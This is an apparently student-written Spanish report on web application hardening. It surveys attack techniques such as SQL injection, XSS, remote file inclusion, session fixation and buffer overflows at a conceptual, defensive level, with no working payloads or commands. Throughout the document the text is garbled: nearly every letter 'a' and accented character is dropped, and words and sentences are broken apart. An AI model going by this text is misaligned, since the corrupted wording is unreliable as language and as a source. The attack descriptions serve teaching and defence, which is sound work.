Vous êtes sur la page 1sur 56

ENDURECIMIENTO DE APLICACIONES

ENDURECIMIENTO DE
INTEGRANTES
APLICACIONES RIVERA SEGURA WALTER
FABIAN CORONEL CAROL
QUIJADA VILLEGAS JUAN
RAFAEL LARREA KLEIN
01/01/2017
SEGURIDAD EN SISTEMAS DE INFORMACIN EMPRESARIAL

Pgin 1
ENDURECIMIENTO DE APLICACIONES

Informcion del Grupo

RIVERA SEGURA WALTER FABIAN CORONEL CAROL

QUIJADA VILLEGAS JUAN RAFAEL LARREA KLEIN

Aporte de ejemplos de RFI


EL MISIL DE DHAHRAN
EN METROS O EN PIES? EL CASO
DEL MARS CLIMATE ORBITER

Pgin 2
ENDURECIMIENTO DE APLICACIONES

Contenido
Informcion del Grupo ___________________________________________________________________________________ 2
RESUMEN EJECUTIVO____________________________________________________________________________________ 4
DESCRIPCION _____________________________________________________________________________________________ 6
BENEFICIOS_______________________________________________________________________________________________ 7
FACTORES PARA SU IMPLEMENTACION _______________________________________________________________ 8
CASOS DE EXITO__________________________________________________________________________________________ 9
EVOLUCION Y FUTURO ________________________________________________________________________________ 10
PRINCIPIOS DE SEGURIDAD ___________________________________________________________________________ 12
Por que son comprometidos los sitios WEB? _______________________________________________________ 13
TECNICAS DE ATAQUES A ORDENADORES __________________________________________________________ 14
CONCLUSIONES ________________________________________________________________________________________ 37

Pgin 3
ENDURECIMIENTO DE APLICACIONES

RESUMEN EJECUTIVO
El siguiente informe describe ls diferentes vulnerbiliddes que sufren los sistems, en especil de

rquitectur web debido que estn sujetos culquier tcnte que teng cceso internet y conozc l

direccion web de lgun intrnet o simplemente l URL de lgun sitio web.

Dentro del mrco conceptul se describe los tipos de tques que pueden sufrir los sistems, como se podr

ver existen numeross tecnics de tque los que hce ltmente probble que lgunos sistems no

consideren lguno de ellos y s trde o temprno terminen siendo tcdos por lgun de est.

Pr l pliccion se considero un sitio web lojdo en un mquin locl, y se usrn 3 tecnics de tque

pr nlizr l vulnerbilidd y s mismo indicr como podemos corregir dich vulnerbilidd dejndo

nuestro sistem ms seguro. El lenguje que se h elegido es PHP por ser el ms comun pr construir

sistems web.

L primer tecnic es llmd Inyeccion SQL, l cul se bs en intentr cceder l bse de dtos de l vctim

y tener cceso sus dtos est vulnerbilidd es lgo comun en plicciones hechs por novtos en l

progrmcion. Un pliccion bstnte comun de este tipo de tsque es relizr un bypss l login de un

sistem vulnerble. L solucion pr evitr este tque es utilizr un mecnismo llmdo sentencis

preprds o prmetrizds, que existen en culquier lenguje de progrmcion 4G.

L segund tecnic es llmd tque XSS. Existen tres subtipos, pero se opto por hcer l demostrcion con

el que gener ms dno como es XSS persistente o directo que consiste en inyectr lgun payload (script) l

bse de dtos del servidor y se ejecutr cundo otros clientes hgn lgun peticion dich bse de dtos.

L solucion no ps por usr lgun funcion sencill pr descrtr el ingreso de etiquets html.

L tercer tecnic es llmd RFI (inclusion de rchivo remoto) es un tipo de tque que gener ms dno l

servidor tcdo debido que puede tomr el control totl de este. No solo tendr cceso su bse de dtos,

Pgin 4
ENDURECIMIENTO DE APLICACIONES

sino que tod l informcion de su mquin y otrs ms que este n conectdos en su mism red. Pr ello

solo necesitmos un bckdoor de los muchos que existen en l red y colocrlo en el servidor de l vctim.

Est vulnerbilidd se gener por l ml prctic en el uso de l funcion include dentro del codigo fuente. L

solucion requiere por el ldo del codigo fuente es que ntes de crgr un rchivo de codigo fuente debemos

cerciorrnos que ese rchivo se uno que relmente exist en nuestro sitio y no se un rchivo jeno l sitio

(desde otr mquin remotmente) y l solucion por ldo del servidor web es ctivndo un prmetro en el

rchivo de configurcion.

Un vez que se demuestren ls vulnerbiliddes mostrremos como podemos corregir nuestro codigo fuente

pr evitr ser vctims de estos tques.

Cbe mencionr que existen herrmients ms vnzds pr relizr tques ms complejos sistems

como el sistem opertivo klilinux que nos provee de un rsenl de herrmients pr relizr Pentesting.

Se djunt los rchivos de codigo fuente usdos en l demostrcion en l crpet nexos.

Pgin 5
ENDURECIMIENTO DE APLICACIONES

DESCRIPCION

Muchos sistems estn expuestos "gujeros" de seguridd que son explotdos pr cceder

rchivos, obtener privilegios o relizr sbotje. Ests vulnerbiliddes ocurren por vrids rzones, y miles

de "puerts invisibles" son descubierts (cd d) en sistems opertivos, plicciones de softwre,

protocolos de red, browsers de Internet, correo electronico y tods clses de servicios informtico disponible.

Los Sistems opertivos biertos (como Unix y Linux) tienen gujeros ms conocidos y controldos

que quellos que existen en sistems opertivos cerrdos (como Windows). L importnci (y ventj) del

codigo bierto rdic en miles de usurios nlizn dicho codigo en busc de posibles bugs y yudn obtener

soluciones en form inmedit.

Constntemente encontrmos en Internet visos de nuevos descubrimientos de problems de

seguridd (y herrmients de Hcking que los explotn), por lo que hoy tmbien se hce indispensble contr

con productos que conocen ess debiliddes, puedn dignosticrls y ctulizr el progrm fectdo con el

prche decudo.

En el presente trbjo hblremos de l seguridd desde el punto de vist del progrmdor, es decir,

de quello que tenemos que tener en cuent en ls etps de diseno y codificcion de los progrms.

Describiremos lgunos errores de progrmcion hbitules que tienen implicciones desde el punto

de vist de l seguridd, dremos ejemplos de como se hn usdo pr romper l seguridd de plicciones

reles y comentremos tecnics pr detectr y corregir estos errores.

Pgin 6
ENDURECIMIENTO DE APLICACIONES

BENEFICIOS
Gener lerts de seguridd de form temprn.

Asegurr l integridd de l informcion digitl de l empres.

Gener confinz en los clientes y usurios de ls plicciones.

Mejor l imgen de l empres.

Fortlecer l clidd del sistem web.

Obtener un certificcion ISO/IEC 27001 (27001 A.12.6.1)

Ayud mejors en l clidd de los procesos, l infrestructur y el personl

Pgin 7
ENDURECIMIENTO DE APLICACIONES

FACTORES PARA SU IMPLEMENTACION


Tcnicos: se necesitr personl con conocimientos intermedios o vnzdos pr el endurecimiento

de un pliccion y tonr en cuent tods ls vulnerbiliddes que existen ctulmente.

Tiempo: dependiendo del tmno de l pliccion el tiempo que tomr modificr cierts funciones

o mecnismos de cceso l servidor de bse de dtos puede conllevr muchs hors de trbjo pr

modificr el codigo fuente de ls plicciones.

Econmico: en lgunos csos requerir de contrtr personl ms experimentdo pr poder

corregir l pliccion, esto conllevr elevr el costo pr contrtr personl.

Cultural: El tque ls plicciones no solo se d por l flt de experienci o mls prctics del

desrrolldor, muchs veces un sistem seguro v de l mno con un cultur ms consiente y

responsble del personl de l empres (evitr comprtir clves, evitr dr informcion extrnos,

evitr gurdr clves en hojs de ppel, etc.), de nd servir tener un sistem seguro si los

empledos son vctims de ingenier socil por prte de un tcnte.

Pgin 8
ENDURECIMIENTO DE APLICACIONES

CASOS DE EXITO
FREDRICKSON INTERNATIONAL:

Fredrickson Interntionl es un genci de cobrnz lder. Al hber implementdo ISO/IEC

27001(medids de seguridd en sus plicciones informtics) tiene hor un myor

conscienci de l seguridd trves de l orgnizcion. L certificcion h reducido

significtivmente el tiempo que tom hcer l ofert pr los contrtos y h ofrecido confinz l mercdo

de sus prctics de seguridd en l informcion.

THAMES SECURITY SHREDDING:

Thmes Security Shredding (TSS) ofrece un recoleccion eficiente y segur y destruccion de

documentos confidenciles. L certificcion pr ISO/IEC 27001 le d l compn un

mrgen competitivo en stisfcer los requisitos contrctules y que demuestr su

compromiso en l gestion de l seguridd de l informcion un nivel interncionl de mejor prctic.

Tmbien proporcion TSS con un importnte diferencil de mercdo que h trdo nuevos negocios.

Pgin 9
ENDURECIMIENTO DE APLICACIONES

EVOLUCION Y FUTURO
LA INTELIGENCIA ARTIFICIAL EL FUTURO DEL HACKING Y ANTI HACKING

No muchs persons lo recuerdn, pero en sus principios, los virus empezron siendo un juego entre

progrmdores, que crebn codigos cuy principl funcion er utoreplicrse en el limitdo espcio de

memori de lgunos sistems (hblo de memori de nucleos mgneticos, o memori de toros, como tmbien

er conocid) y, dems, eliminr su rivl (otro codigo credo con el mismo fin). As, un vez credos, los

contendientes se tenn que enfrentr entre s sin que sus credores pudiern intervenir en el proceso. Er,

por s decirlo, mquin contr mquin, y los humnos se limitbn l ppel de observdores, como si

estuviern presencindo lgun tipo de competicion deportiv. Y tl y como plnte hoy Computerworld, y

grcis los vnces de l inteligenci rtificil, el futuro del hcking podr tener un specto similr.

Todv flt mucho tiempo pr que eso ocurr, nos o, ms probblemente, decds. Sin embrgo, tiene

todo el sentido del mundo pensr en un futuro en el que un lbor bsd en el prendizje constnte, pued

llegr ser desrrolld por ls mquins mejor que por los hombres. Hce unos meses, en gosto, los

orgnizdores del evento de seguridd Cyber Grnd Chllenge, cuyo principl ptrocindor es l genci

estdounidense DARPA, se relizo un muy interesnte prueb, en l que siete supercomputdores se

enfrentron entre ellos, trtndo de identificr sus principles problems de seguridd, s como l mner

ms eficz de solucionrlos. Hst qu fenomenl, clro. Pero, que ocurrir si es tecnolog ce en mls

mnos?

L inteligenci rtificil puede suponer un grn vnce en cuestiones de seguridd, y ls principles empress

de este sector y lo sben y llevn mucho tiempo trbjndo en ello, pero los expertos en ciberseguridd y

llevn un tiempo lertndo sobre l cruz de que estos vnces cign en mls mnos. Especilmente, clro,

Pgin 10
ENDURECIMIENTO DE APLICACIONES

si tenemos en cuent que l conectividd y los sistems electronicos llegn cd vez ms spectos de

nuestrs vids. Un escenrio en el que ls mquins se enfrentn ls mquins, y quells dotds de los

mejores sistems de inteligenci rtificil tienen ms probbiliddes de gnr, punt un situcion en l

que ls inversiones pr grntizr l seguridd deben crecer de mner exponencil.

Pgin 11
ENDURECIMIENTO DE APLICACIONES

PRINCIPIOS DE SEGURIDAD
Objetivos

En generl se suele decir que los tres objetivos fundmentles de l seguridd informtic son:

Confidencilidd; el cceso los ctivos del sistem est limitdo usurios utorizdos.
Integridd; los ctivos del sistem solo pueden ser borrdos o modificdos por usurios utorizdos.
Disponibilidd; el cceso los ctivos en un tiempo rzonble est grntizdo pr usurios
utorizdos.

Hy que identificr los objetivos de seguridd de un pliccion pr sber si un diseno o implementcion


los stisfcen.

Por que se escriben progrms inseguros?


Hy poc bibliogrf y l formcion especfic de los progrmdores es escs.
Es difcil progrmr de mner segur; no se suelen usr metodos de verificcion forml.
L seguridd no es un requisito l hor de elegir un progrm, por lo que se suele obvir.
L seguridd increment los costes economicos y requiere ms tiempo y esfuerzo en el desrrollo e
implntcion de plicciones.

Identificcion de requisitos de seguridd

Common Criteri o CC (ISO/IEC 15408:1999): estndr interncionl pr identificr y definir requisitos de


seguridd. Se suele empler pr redctr dos tipos de documentos:

Perfil de proteccion (Protection Profile o PP): es un documento que define ls propieddes de


seguridd que se dese que teng un producto; bsicmente se trt de un listdo de requisitos de
seguridd.
Objetivo de seguridd (Security Trget o ST): es un documento que describe lo que hce un
producto que es relevnte desde el punto de vist de l seguridd.

Pgin 12
ENDURECIMIENTO DE APLICACIONES

Por que son comprometidos los sitios WEB?

Configuraciones Errores del


Erroneas Sistema (bugs)

Fallas en los
Configuraciones
procedimeintos y
por omisin
polticas

Pgin 13
ENDURECIMIENTO DE APLICACIONES

TECNICAS DE ATAQUES A ORDENADORES


POR AUTENTICACION:

FUERZA BRUTA

Un tque de fuerz brut es un proceso utomtizdo de prueb y error utilizdo pr


divinr un nombre de usurio, contrsen, numero de trjet de credito o clve
criptogrfic.

Este tipo de tque es utilizdo por progrms


que intentn descifrr contrsens de ficheros,
hst inclusive pr intentr cceder
correos electronicos como el Messenger.

L form de operr es simplemente con probr


sucesivmente crcteres de digito en dgito, de
dos dgitos en dos dgitos, de tres dgitos en
Ilustracin 1 DES Cracking Machine
tres dgitos y s sucesivmente hst dr con
el objetivo, suelen demorrse mucho, y por ello existen progrms que hcen todo
este trbjo. Por tles motivos es conveniente que cundo un usurio v encriptr
lgun rchivo lo relice con vrios crcteres entre ellos signos de puntucion, numeros
y letrs, s se les hrs muy difcil los lmer s que intenten robr sus
psword s.

AUTENTICACION INSUFICIENTE

L utenticcion insuficiente ocurre cundo un sitio web permite un tcnte cceder


contenido o funcionlidd sensible sin tener que utenticrse correctmente. Ls
herrmients de dministrcion bsds en web son un buen ejemplo de sitios web que
proporcionn cceso funcionliddes sensibles. Dependiendo de los recursos

Pgin 14
ENDURECIMIENTO DE APLICACIONES

especficos online, ests plicciones web no debern ser directmente ccesibles sin
requerir de l form propid l verificcion de l identidd del usurio.

En el mbito de l configurcion de l
utenticcion, lgunos recursos son protegidos
ocultndo l ubiccion especfic y no
enlzndo su ubiccion en el sitio web principl u
otrs zons publics. Sin embrgo, est ctucion
no es ms que seguridd trves de oscuridd.
Es importnte entender que simplemente porque
un recurso es desconocido pr un tcnte, no
implic que este recurso no permnezc
ccesible directmente trves de un URL
especfic. Est URL puede ser descubiert trves de pruebs de fuerz brut sobre
ubicciones comunes de ficheros y directorios (/dmin por ejemplo), mensjes de error,
logs o quizs recursos documentdos en ficheros de yud. Estos recursos, y sen
contenidos o funcionliddes, deben ser decudmente protegidos.

Ejemplo

Muchs plicciones web hn sido disends con funcionliddes dministrtivs en


un ubiccion fuer del directorio rz (/dmin/). Este directorio generlmente nunc
es enlzdo desde el sitio web, pero un s puede ser ccedido utilizndo un nvegdor
web estndr.

Y que el usurio o desrrolldor nunc espero que lguien pudier ver est pgin, el
ndido de utenticcion es psdo por lto en muchs ocsiones. Si un tcnte
simplemente visitr est pgin, obtendr cceso completo de dministrcion l sitio
web.

DEBIL VALIDACION EN LA RECUPERACION DE CONTRASENAS

Pgin 15
ENDURECIMIENTO DE APLICACIONES

L debil vlidcion en l recupercion de


contrsens se produce cundo un sitio web
permite, de form ilegl, que un tcnte
obteng, modifique o recupere l contrsen de
otro usurio. Los metodos de utenticcion
convencionles de un sitio web requieren que los
usurios seleccionen y recuerden un
contrsen o un frse. El usurio debe ser l unic person que conozc l contrsen
y debe ser recordd de form precis. A medid que el tiempo ps, los usurios
pierden l cpcidd de recordr con precision sus contrsens. El sunto se complic
ms un cundo el usurio visit, de medi, 20 sitios que requieren suministrr un
contrsen. As, l recupercion de contrsens se convierte en un prte importnte
dentro del servicio online usurios.

POR AUTORIZACION

Cubre los tques que tienen como objetivo un metodo de los sitios web pr determinr si un
usurio, servicio o pliccion tiene los permisos necesrios pr ejecutr un ccion solicitd.
Por ejemplo, muchos sitios web solo debern permitir ciertos usurios cceder contenidos
o funcionliddes especficos. Otrs veces, un cceso de usurio otros recursos puede estr
restringido. Usndo vris tecnics, un tcnte puede introducirse dentro de un sitio web
incrementndo sus privilegios hci res protegids.

Pgin 16
ENDURECIMIENTO DE APLICACIONES

PREDICCION DE CREDENCIALES/SESION

L prediccion de
credenciles/sesion es un metodo
de secuestro o suplntcion de un
usurio de un sitio web. Deduciendo o
divinndo el vlor unico que
identific un usurio o sesion
prticulr se logr el tque.
Tmbien conocido como secuestro
de sesion, ls consecuencis podrn
permitir los tcntes l cpcidd
de emitir peticiones l sitio web con
los privilegios del usurio
comprometido.

Muchos sitios web estn disendos pr utenticr e incorporr un mrc de


seguimiento un usurio cundo l comuniccion se estblece por primer vez. Pr
hcer esto, los usurios deben demostrr su identidd l sitio web, tipicmente
fcilitndo un combincion de nombre de usurio/contrsen (credenciles). En vez de
estr psndo ests credenciles confidenciles de un ldo otro en cd trnsccion,
los sitios web generrn un unico ID (identificdor) de sesion pr identificr l sesion
del usurio como utenticdo. L comuniccion posterior entre el usurio y el sitio web
es etiquetd con l ID de sesion como prueb de l sesion utenticd. Si un tcnte
es cpz de predecir o divinr l ID de sesion de otro usurio, l ctividd frudulent
es posible.

Pgin 17
ENDURECIMIENTO DE APLICACIONES

AUTORIZACION INSUFICIENTE

L utorizcion insuficiente se produce cundo un sitio web permite cceso


contenido sensible o funcionliddes que debern requerir un umento de restricciones
de control de cceso. Cundo un usurio es utenticdo en un sitio web, no
necesrimente signific que debier tener cceso completo todo el contenido, y
tmpoco l funcionlidd debier ser otorgd rbitrrimente.

Los procedimientos de utorizcion son interpretdos despues de l


utenticcion, forzndo lo que un usurio, servicio o pliccion est permitido relizr.
Prudentes restricciones debern guir l ctividd de un sitio web de cuerdo l
poltic. Zons sensibles de un sitio web pueden necesitr estr restringids todo el
mundo excepto pr un dministrdor.

EXPIRACION DE SESION INSUFICIENTE

L expircion de sesion insuficiente se produce cundo un sitio web permite un


tcnte reutilizr uns credenciles de sesion ntigus o IDs de sesion pr l
utorizcion. L expircion de sesion insuficiente increment l exposicion de los sitios
web pr que los tcntes roben o se hgn psr por otros usurios.

Ddo que HTTP es un protocolo sin estdo, los sitios web comunmente usn los
IDs de sesion pr identificr de form unic un usurio de un peticion de otr.
Consecuentemente, cd ID de sesion debe ser mntenido confidencilmente con el
objetivo de prevenir que multiples usurios ccedn l mism cuent. Un ID de sesion
robdo puede ser usdo pr ver otrs cuents de usurio o relizr un trnsccion
frudulent.

Pgin 18
ENDURECIMIENTO DE APLICACIONES

L flt de l propid expircion de sesion puede fvorecer l probble


sucesion de ciertos tques. Por ejemplo, un tcnte puede interceptr un ID de sesion,
posiblemente medinte un rstredor de red (sniffer) o medinte un tque de Cross-
site Scripting. Aunque los tiempos cortos de expircion de sesion no yudn si un
identificdor robdo es usdo inmeditmente, los protegern contr desrrollos de
repeticion del ID de sesion. En otro escenrio, un usurio puede cceder un sitio web
desde un ordendor comprtido (tl como en un librer, cfe de internet o en un
entorno de trbjo bierto). L expircion de sesion insuficiente podr permitir un
tcnte usr el boton trs del nvegdor pr cceder pgins ccedids previmente
por l vctim.

Un tiempo lrgo de expircion increment ls probbiliddes de un tcnte pr


tener exito en divinr un ID de sesion vlido. L lrg longitud del tiempo increment el
numero de sesiones concurrentes y bierts, ls cules lrgn l reserv de numeros
que un tcnte puede divinr.

FIJACION DE SESION

L fijcion de sesion es un tecnic de tque que fuerz un ID de sesion de


usurio un vlor explcito. Dependiendo de l funcionlidd del sitio web objetivo, un
numero de tecnics pueden ser utilizds pr fijr el vlor del ID de sesion. Este rngo
de tecnics ps desde los exploits de Cross-site Scripting hst cribillr l sitio web con
peticiones HTTP construids previmente. Despues de que un ID de sesion de usurio h
sido fijdo, el tcnte esperr pr hcer login. Cundo el usurio lo hce, el tcnte
us el vlor del ID de sesion predefinido pr sumir su identidd online.

Generlmente hblndo hy dos tipos de sistems de dministrcion de sesion


en lo que vlores de ID se refiere. El primer tipo son los sistems permisivos que
permiten los nvegdores web especificr culquier ID. El segundo tipo son sistems
estrictos que solo ceptn vlores generdos en l prte del servidor. Con sistems

Pgin 19
ENDURECIMIENTO DE APLICACIONES

permisivos, ls sesiones de IDs rbitrrios son mntenids sin contctr con el sitio web.
Los sistems estrictos requieren que el tcnte mnteng l sesion trmp con
contctos periodicos l sitio web previniendo los excesos de tiempo por inctividd.

Sin proteccion ctiv contr l fijcion de sesion, el tque puede ser montdo
contr culquier sitio web usndo sesiones pr identificr los usurios utenticdos.
Los sitios web que usn IDs de sesion normlmente estn bsdos en cookies, pero ls
URLs y los cmpos ocultos de formulrio tmbien se usn.

Desfortundmente ls sesiones bsds en cookies son ls ms fciles de


tcr. L myor de los metodos de tque ctulmente identificdos tienen como
objetivo l fijcion de cookies.

En contrste con el robo de un ID de sesion de usurio despues de que el usurio


se hy utenticdo en un sitio web, l fijcion de sesion proporcion much ms
vriedd de posibiliddes. L prte ctiv del tque tiene lugr ntes de que el usurio
se utentique.

Pgin 20
ENDURECIMIENTO DE APLICACIONES

ATAQUES EN LA PARTE CLIENTE

Se centr en el buso o provechmiento de los usurios de los sitios web. Cundo un


usurio visit un sitio web, se estblece un relcion de confinz entre ls dos prtes, tecnologic
y psicologicmente. El usurio esper que el sitio web que visit le entregue contenido vlido. El
usurio tmbien esper que el sitio web no le tque durnte su permnenci. Teniendo en cuent
ests espernzs en l relcion de confinz, un tcnte puede empler diverss tecnics pr
provechrse del usurio.

SUPLANTACIN DE CONTENIDO

L suplntcion de contenido es un tecnic de tque utilizd pr engnr l usurio


hciendole creer que cierto contenido que prece en un sitio web es legtimo, cundo
en relidd no lo es.

Este tque explot l confinz estblecid entre el usurio y el sitio web. L tecnic h
sido usd pr crer pgins web flss incluyendo formulrios de utenticcion,
desfigurciones de pgins web y flsos comunicdos

CROSS-SITE SCRIPTING

Cross-site Scripting (XSS) es un tecnic


de tque que fuerz un sitio web
repetir codigo ejecutble fcilitdo por
el tcnte, y que se crgr en el
nvegdor del usurio. Est
vulnerbilidd es un fllo en el sistem de
vlidcion de HTML incrustdo y consiste
en inyectr codigo HTML y JvScript
donde no deber hberlo y s conseguir

Pgin 21
ENDURECIMIENTO DE APLICACIONES

lgun provecho, normlmente est vulnerbilidd se us pr el robo de cookies, pr


hcer phishing y desfses en los foros.

Se suele encontrr en los buscdores de l web. Hy dos clses de XSS, l indirect y l


direct. L indirect es l menos censurd y l menos explotd, y l direct es ms difcil
de encontrr y que se suele filtrr ms.

- Directa (Persistente): Est es muy divertid! pero es muy difcil de encontrr un


vulnerbilidd de este tipo. Se encuentr en los foros, libros de visit y webs que se puedn
modificr por medio de formulrios. Con un vulnerbilidd como est siempre que
lguien entre l prte del foro donde se h inyectdo el codigo, se ejecutr en su
nvegdor y hr lo que teng que hcer, much gente us est vulnerbilidd pr hcer
un defce usndo un etiquet <div> que cubr tod l web o con un script que l
redireccione tu sitio.

- Indirecta (Reflejada): Este tipo de XSS es muy fcil de encontrr en motores de busqued
sobre todo, en est el codigo se inyect trves de formulrios, URL, cookies, progrms
en Flsh o incluso en vdeos. Est vulnerbilidd es ms dificil scrle provecho y que
tenemos que conseguir que lguien entre en el enlce mlicioso, ms delnte se ver lo
que es un enlce mlicioso.

EJECUCION DE COMANDOS

Abrc los tques disendos pr ejecutr comndos remotos en el sitio web. Todos los
sitios web utilizn dtos suministrdos por el usurio pr stisfcer peticiones. A menudo los
dtos fcilitdos por el usurio son usdos pr crer comndos de construccion resultndo en
contenido dinmico de un pgin web. Si este proceso es hecho de form no segur, un tcnte
puede lterr l ejecucion de comndos.

DESBORDAMIENTO DE BUFFER

L explotcion de un desbordmiento de buffer es un tque que lter el flujo de


un pliccion sobreescribiendo prtes de l memori. El desbordmiento de buffer es un

Pgin 22
ENDURECIMIENTO DE APLICACIONES

defecto comun del softwre, que result en un condicion de error. Est condicion de error
ocurre cundo los dtos escritos en l memori exceden el tmno reservdo en el buffer.
Cundo el buffer es desborddo, direcciones de memori dycentes son sobreescrits
cusndo que el softwre flle o termine de mner inesperd. Cundo es sin restriccion
el ingreso de dtos, relizdo de un mner determind, puede ser usdo pr desbordr
el buffer resultndo en vrios problems de seguridd.

Un desbordmiento de buffer puede ser usdo como un tque de denegcion de


servicio cundo l memori es corrompid, resultndo en un fllo del softwre. Aun ms
critico es l cpcidd de un tque de desbordmiento de buffer pr lterr el flujo de
un pliccion y forzr cciones involuntris. Este escenrio puede ocurrir de muchs
forms. Ls vulnerbiliddes de desbordmiento de buffer hn sido usds pr
sobreescribir punteros de pil y redirigir el progrm pr ejecutr intrucciones
mlicioss. Los desbordmientos de buffer tmbien hn sido usdos pr cmbir
vribles del progrm.

Ls vulnerbiliddes de desbordmiento de buffer se hn vuelto bstnte comunes


en el sector de l seguridd informtic y hn cprdo los servidores web con frecuenci.
Sin embrgo, ells no hn sido comunmente vists o explotds en l mism cp de
pliccion. L rzon principl es que un tcnte necesit nlizr el codigo fuente de l
pliccion o el rchivo binrio del softwre. Ddo que el tcnte debe explotr codigo
medid en un sistem remoto, tendr que ejecutr el tque de form cieg, siendo muy
dificil conseguir el exito esperdo.

Ls vulnerbiliddes de desbordmiento de buffer ocurren generlmente en


lengujes de progrmcion como C y C++. Un desbordmiento de buffer puede ocurrir en
un progrm CGI o cundo un pgin web ccede un progrm en C.

Pgin 23
ENDURECIMIENTO DE APLICACIONES

ATAQUES DE FORMATO DE CADENA

Los tques de formto de cden ltern el flujo de un pliccion usndo


funcionliddes de librers de formtos de cden pr cceder otros espcios de
memori.

Ls vulnerbiliddes ocurren cundo los dtos fcilitdos por el usurio son usdos
directmente como prmetros de formto de cdens de cierts funciones de C/C++ (por
ejemplo: fprintf, printf, sprintf, setproctitle, syslog, ...).

Si un tcnte ps un formto de cden consistiendo en crcteres de conversion


de printf (por ejemplo: "%f", "%p", "%n", etc.) como un vlor de prmetro hci l
pliccion web, podr:

Ejecutr codigo rbitrrio en el servidor


Leer los vlores de l pil
Cusr fllos de segmentcion/termincion inesperd del
softwrre.Inyeccion LDAP

INYECCION LDAP

L inyeccion LDAP es un tecnic de tque usd pr explotr sitios web que


contruyen sentencis LDAP directmente desde dtos fcilitdos por el usurio.

Lightweight Directory Access Protocol (LDAP) es un protocolo estndr bierto


pr consultr y mnipulr servicios de directorio X.500. El protocolo LDAP se ejecut
sobre protocolos de trnsporte de Internet, como es TCP. Ls plicciones web pueden usr
dtos fcilitdos por el usurio pr crer sentencis LDAP pr peticiones de pgins web
dinmics.

Pgin 24
ENDURECIMIENTO DE APLICACIONES

Cundo un pliccion web no reliz un snemiento decudo de los dtos


fcilitdos por el usurio, es posible pr un tcnte lterr l contruccion de l sentenci
LDAP. Cundo un tcnte puede modificr un sentenci LDAP, el proceso se ejecutr con
los mismos permisos del componente que ejecuto el comndo. (por ejemplo: servidor de
bse de dtos, servidor de pliccion web, servidor web, etc.). Esto puede cusr grves
problems de seguridd donde los permisos estblecen derechos de consult, modificcion
o elimincion de culquier elemento dentro del rbol LDAP.

Ls misms tecnics vnzds de explotcion disponibles pr inyeccion de


codigo SQL pueden ser plicds de form similr l inyeccion LDAP.

COMANDOS DE SISTEMA OPERATIVO

El uso de comndos de sistem opertivo es un tecnic de tque utilizd pr


explotr sitios web que ejecutn comndos de sistem opertivo, trves de l
mnipulcion de ls entrds l pliccion.

Cundo un pliccion web no reliz de form decud el snemiento de los


dtos fcilitdos por el usurio ntes de usrlos en el codigo de l pliccion, es posible
engnr l pliccion pr que ejecute comndos de sistem opertivo. Los comndos
sern ejecutdos con los mismos permisos del componente que ejecuto el comndo (por
ejemplo: servidor de bse de dtos, servidor de plicciones web, servidor web, etc.)

INYECCION DE CODIGO SQL

L inyeccion de codigo SQL es un tecnic de tque usd pr explotr sitios web


que construyen sentencis SQL directmente prtir de dtos fcilitdos por el usurio.

Pgin 25
ENDURECIMIENTO DE APLICACIONES

Structured Query Lnguge (SQL) es un lenguje especilizdo de progrmcion


pr relizr consults bses de dtos. L myor de ls plicciones de bse de dtos,
y sen pequens o grndes, pueden ser ccedids usndo sentencis SQL. SQL es un
estndr ISO y ANSI. Sin embrgo, muchos productos de bse de dtos que soportn SQL
lo hcen con extensiones l estndr. Ls plicciones web pueden usr dtos fcilitdos
por el usurio pr crer sentencis SQL pr peticiones de pgins web dinmics.

Cundo un pliccion web no reliz de l form propid el snemiento de los


dtos fcilitdos por el usurio, es posible pr un tcnte lterr l contruccion de ls
sentencis SQL. Cundo el tcnte puede modificr un sentenci SQL, el proceso se
ejecutr con los mismos permisos que el componente que ejecuto el comndo (por
ejemplo: servidor de bse de dtos, servidor de plicciones web, servidor web, etc.). El
impcto de este tque le puede permitir l tcnte obtener control totl sobre l bse de
dtos o tmbien ejecutr comndos en el sistem.

Ls misms tecnics de explotcion vnzds disponibles en l inyeccion LDAP


pueden ser plicds de form similr en l inyeccion de codigo SQL.

Pgin 26
ENDURECIMIENTO DE APLICACIONES

INYECCION DE CODIGO SSI

L inyeccion de codigo SSI (server-side Include) es un tecnic de explotcion en l


prte del servidor que permite un tcnte envir codigo l pliccion web, el cul ser
luego ejecutdo loclmente por el servidor. L inyeccion de codigo SSI explot l
vulnerbilidd introducid por un pliccion web que no reliz de form decud el
snemiento de los dtos fcilitdos por el usurio, ntes de que sen insertdos en un
rchivo HTML interpretdo por el servidor.

Antes de servir un pgin web HTML, un servidor web puede interpretr y


ejecutr sentencis SSI. En lgunos csos (por ejemplo: foros, libros de visits, sistems de
dministrcion de contenido, etc.) un pliccion web insertr los dtos fcilitdos por el
usurio en el codigo fuente de un pgin web.

Si un tcnte envi un sentenci SSI, podr tener l cpcidd de ejecutr


comndos rbitrrios de sistem opertivo, o incluir el contenido de un rchivo restringido
l siguiente vez que l pgin se servid.

INYECCION XPATH

L inyeccion XPth es un tecnic de tque usd pr explotr sitios web que


construyen consults XPATH directmente prtir de dtos fcilitdos por los usurios.

XPth 1.0 es un lenguje usdo pr referirse prtes de un documento XML. Puede


ser usdo directmente por un pliccion pr consultr un documento XML, o como
prte de un opercion myor como plicr un trnsformcion XSLT un documento XML,
o plicndo un XQuery un documento XML.

Pgin 27
ENDURECIMIENTO DE APLICACIONES

L sintxis tiene un ciert semejnz un consult SQL, y de hecho, es posible


formr consults tipo SQL en un documento XML usndo XPth. Por ejemplo, supongmos
que un documento XML contiene elementos de nombre user, cd uno de los cules
contiene tres sub elementos - nme, pssword y ccount. L siguiente expresion XPtch
retorn el numero de cuent del usurio cuyo nombre es "jsmith" y su contrsen es
"Demo1234" (o retorn un cden vc si no existe el usurio)

Si un pliccion construye consults XPth de form dinmic conctenndo dtos


inseguros fcilitdos por el usurio, result posible pr un tcnte inyectr dtos en l
consult que permitn que l nuev consult formd con esos dtos se interpretd de
form diferente l intencion del progrmdor.

REVELACION DE INFORMACION

INDEXACION DE DIRECTORIO

L indexcion/listdo utomtico de directorio es un funcion del servidor web que list


todos los ficheros del directorio solicitdo si no se encuentr presente el fichero de
inicio hbitul.

FUGA DE INFORMACION

L fug de informcion se produce cundo un sitio web revel informcion sensible, como
comentrios de los desrrolldores o mensjes de error, que puede yudr un tcnte
pr explotr el sistem.

Pgin 28
ENDURECIMIENTO DE APLICACIONES

PATH TRAVERSAL

L tecnic de tque Pth Trversl fuerz el cceso ficheros, directorios y comndos


que potencilmente residen fuer del directorio document root del servidor web.

LOCALIZACION DE RECURSOS PREDECIBLES

L loclizcion de recursos predecibles es un tecnic de tque usd pr descubrir


contenido y funcionliddes ocults en el sitio web.

ATAQUES LOGICOS

ABUSO DE FUNCIONALIDAD

